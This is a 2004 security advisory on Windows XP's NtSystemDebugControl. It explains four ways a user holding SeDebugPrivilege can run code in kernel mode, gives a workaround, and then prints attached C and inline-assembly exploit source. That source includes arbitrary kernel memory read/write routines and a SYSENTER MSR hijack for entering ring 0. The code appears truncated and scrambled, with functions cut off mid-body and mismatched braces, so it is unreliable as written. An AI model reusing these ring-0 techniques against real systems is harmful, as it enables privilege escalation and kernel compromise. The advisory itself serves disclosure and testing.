Multiple Windows XP Kernel Vulnerability Allow User Mode Programs To Gain Kernel Privileges
19 Feb. 2004
Summary
There exist several vulnerabilities in one of Windows XP kernel's native API functions which allow any user with the SeDebugPrivilege privilege to execute arbitrary code in kernel mode, and read from and write to any memory address, including kernel memory.
Credit:
The information has been provided by first last.
ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating system function NtSystemDebugControl(). This function is executed in ring 0 (kernel mode) and is meant to be used by user mode debuggers having the SeDebugPrivilege privilege.
Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs:
This method writes to IA32_SYSENTER_EIP MSR by calling the kernel (NtSystemDebugControl()) and changing the MSR register to point to our code. Next time we execute the SYSENTER instruction, we're in ring 0 and have total control of the processor. Note that AMD processors may also support the SYSCALL instruction which behaves like SYSENTER and could also be used to enter ring 0.
Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs:
This method writes to kernel memory. Modify an (preferably unused) IDT entry with a pointer to your code and execute an INT n instruction. Method1_WriteMemByte() uses a bug in the read I/O sub-function of NtSystemDebugControl(). The pointers in the IO_STRUCT aren't checked and we can exploit this bug to write to kernel memory. Since the kernel reads from an I/O port, we must first control the I/O port's value. This is easy since every PC has a BIOS POST port 80h. This is an 8-bit read/write port used by the BIOS during POST. If we first write to it, and then later read it, we can make the kernel write any byte to any address.
Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs:
Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData sub-functions which will call the HAL to read and write bus data. The pointer in the BUS_STRUCT is not verified to be pointing to user data before calling the HAL and we can exploit this bug to write to the IDT and get ring 0 access. This method uses CMOS index 0Eh as our controllable byte.
Vulnerability #4, enter ring 0 method #4 - direct HW access:
Since the user mode program has direct hardware access, it can also read from and write to kernel memory with the help of hardware which can access the processor's RAM. Similar to methods #2 and #3 only more complex.
Impact:
Any user with the SeDebugPrivilege privilege could execute arbitrary code as the kernel, and read from and write to any address the kernel can. The program can do anything to the computer the kernel can, e.g. reprogram any computer hardware, such as the BIOS flash memory or patch the kernel in memory.
Since the user needs the SeDebugPrivilege, a privilege normally only given to administrators, to exploit these vulnerabilities, these are not serious vulnerabilities. The user is also normally an admin so he or she could easily install a device driver to become part of the kernel instead of exploiting these vulnerabilities.
Microsoft says it's OK for user mode programs to write to the kernel so long as you have the SeDebugPrivilege privilege, and will not fix anything.
Workaround:
Go to "Local Security Policy\ Security Settings\ Local Policies\ User Rights Assignments" and remove all users and groups from "Debug Programs" and restart your computer. Note that any malicious program with administrator rights could re-enable the SeDebugPrivilege privilege and wait for the next reboot and then gain kernel access. Thus this isn't a very good workaround if you always log on as the administrator.
Exploit:
We have attached source code to test for methods #1-#3 and a few other options to show what a user mode program can do. Run it with /test1, /test2, and /test3 command line options to test your system.
/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/
typedef struct _MSR_STRUCT {
DWORD MsrNum; // MSR number
DWORD NotUsed; // Never accessed by the kernel
DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR
DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;
typedef struct _IO_STRUCT {
DWORD IoAddr; // IN: Aligned to NumBytes,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
} IO_STRUCT;
// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
ConfigurationSpaceUndefined = -1,
Cmos,
EisaConfiguration,
Pos,
CbusConfiguration,
PCIConfiguration,
VMEConfiguration,
NuBusConfiguration,
PCMCIAConfiguration,
MPIConfiguration,
MPSAConfiguration,
PNPISAConfiguration,
SgiInternalConfiguration,
MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
each field
typedef struct _BUS_STRUCT {
ULONG Offset;
PVOID Buffer;
ULONG Length;
BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} BUS_STRUCT;
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
IO_STRUCT io;
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
BYTE Value;
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
if (!CmosTest())
return 0;
int OldVal = CmosRead(CmosIndx);
if (OldVal < 0)
return 0;
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 || !CmosWrite(CmosIndx, OldVal))
return 0;
return 1;
}
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
int OldVal, RetVal;
int ReadMemByte(DWORD MemAddr)
{
switch (MemAccessMethType)
{
case 1:
return Method1_ReadMemByte(MemAddr);
case 2:
return Method2_ReadMemByte(MemAddr);
case -1:
default:
int RetVal;
if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
(void)0 /* Nothing */;
return RetVal;
}
}
/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
old.meth = Method1;
if (!HasSysEnter())
return 0;
Sleep(100); // A more reliable way is to block all interrupts through the PIC.
MSR_STRUCT msr;
if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
{
// IMPORTANT:
// I assume the OS sets up the GDT as follows:
// base:ring0 code
// ring0 data
// ring3 code
// ring3 data
// Will crash eventually if it's not setup that way
msr.MsrLo = SelCodeKernel;
msr.MsrHi = 0;
FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
}
msr.MsrHi = 0;
msr.MsrLo = Ring0Addr;
FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get interrupted after this call
__asm
{
mov ecx,esp
// Hmm, can't assemble SYSENTER or DB 0F,34
jmp short $+3
mov eax,9090340Fh
ring0_addr:
mov esp,ecx
// Hot dog! :)
}
mov ecx,esp
mov edx,offset ring3_code
// Hmm, can't assemble SYSEXIT or DB 0F,35
jmp short $+3
mov eax,90350FFBh
ring3_code:
}
if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
wrmsr(old.msr[0].MsrNum, old.msr[0]);
SetProcessor(old.AffinityMask, NULL);
}
/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
old.meth = Method2;
FCHK(SetProcessor(1, &old.AffinityMask));
void PrintVulnMsg(int failed)
{
if (!failed)
printf("Your operating system is vulnerable to this exploit.\n");
else
{
printf("If this user account has the SeDebugPrivilege privilege then your\n");
printf("OS doesn't appear to be vulnerable.\n\n");
}
}
#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
BYTE* p = (BYTE*)buf;
for (DWORD i = 0; i < bufsz; i++)
{
int SomeByte;
if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
break;
p[i] = (BYTE)SomeByte;
}
return i;
#else
OldCpuState old;
if (!EnterRing0(old))
return 0;